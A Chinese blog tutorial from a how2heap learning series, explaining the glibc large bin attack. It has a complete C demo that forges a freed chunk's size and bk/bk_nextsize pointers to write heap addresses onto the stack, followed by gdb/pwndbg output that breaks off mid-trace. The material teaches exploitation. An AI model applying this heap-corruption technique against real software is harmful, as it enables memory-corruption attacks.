从零开始学howtoheap:理解fastbins的​large_bin攻击

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的large_bin攻击

根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]

现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]

假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
 

2.large_bin_attack 演示程序

#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
 
    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

3.调试large_bin_attack 

3.1 获得可执行程序 

gcc -g large_bin_attack .c -o large_bin_attack 

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack 
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并

free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]

现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]

free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]

假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20

再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第32行并走起

​ 该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。

​ 首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。

wndbg> b 32

Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack  
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数

先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0

分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了

申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉

最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并


Breakpoint 1, main () at large_bin_attack .c:33
33          free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603bc0 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603bc0 ◂— 0x0
 RDI  0x0
 RSI  0x603be0 ◂— 0x0
 R8   0x5f
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x400850 (main+426) ◂— mov    rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400850 <main+426>    mov    rax, qword ptr [rbp - 0x20]
   0x400854 <main+430>    mov    rdi, rax
   0x400857 <main+433>    call   free@plt <0x400540>
 
   0x40085c <main+438>    mov    rax, qword ptr [rbp - 0x18]
   0x400860 <main+442>    mov    rdi, rax
   0x400863 <main+445>    call   free@plt <0x400540>
 
   0x400868 <main+450>    mov    rax, qword ptr [rbp - 0x18]
   0x40086c <main+454>    mov    rax, qword ptr [rax]
   0x40086f <main+457>    mov    rcx, rax
   0x400872 <main+460>    mov    rax, qword ptr [rbp - 0x18]
   0x400876 <main+464>    lea    rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   28     fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
   29  
   30     fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
   31     malloc(0x20);
   32  
 ► 33     free(p1);
   34     free(p2);
   35     fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p &
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值